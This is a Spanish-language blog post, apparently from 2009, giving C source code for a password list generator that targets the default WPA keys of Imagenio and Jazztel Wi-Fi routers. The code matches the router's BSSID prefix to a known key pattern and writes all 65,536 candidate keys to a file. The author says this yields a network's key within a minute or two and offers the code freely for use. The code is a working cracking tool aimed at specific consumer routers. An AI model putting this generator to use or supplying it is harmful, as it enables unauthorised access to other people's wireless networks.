En principio es posible conseguir la clave de una de estas redes en cuestión de minutos, vamos, de uno o dos minutos.
El código es bastante chapucero, está escrito en C'99 y debería de compilar en cualquier compilador de C. Si alguien tiene sugerencias, dudas o lo que sea que pregunte ;). El código va sin licencia así que se puede considerar de dominio público., después de todo seguro que buscando por Internet hay mil cosas parecidas, pero estaba ocioso y lo escribí.
Código:
/* Generador de passwords para redes Imagenio y Jazztel *
* junio 2009 *
* v: 0.1 *
* a: tquimico */
#include <stdio.h>
#include <string.h>
void detect_router(char *bssid, char t, char *router) {
switch(t)
{
case 'J':
strcpy(router,"E001D20");
break;
default:
if (strncmp(bssid,"00:01:38",8) == 0)
strcpy(router,"X000138");
else if (strncmp(bssid,"00:03:C9",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:16:38",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:03:DA",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:19:15",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:1A:2B",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:1D:20",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:60:B3",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:A0:C5",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:13:49",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:02:CF",8) == 0)
strcpy(router,"Z0002CF");
else if (strncmp(bssid,"00:19:CB",8) == 0)
strcpy(router,"Z0002CF");
}
return;
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("l33t boy ;)\n");
printf("usage: keygen BSSID ESSID FILE\n");
return 1;
}
char router[8];
int n = strlen(argv[2]);
char operador = argv[2][0];
FILE *fp;
if ((fp = fopen(argv[3], "w")) == NULL) {
printf("Can't open file\n");
return 1;
}
detect_router(argv[1], operador, router);
int i;
for (i = 0 ; i < 65536 ; i++) {
fprintf(fp, "%s%04X",router,i);
fputc(argv[2][n-2],fp);
fputc(argv[2][n-1],fp);
fputc('\n',fp);
}
fclose(fp);
return 0;
}
Actualización: añadido el "{" que faltaba y blogger se comió. Gracias Bakalito.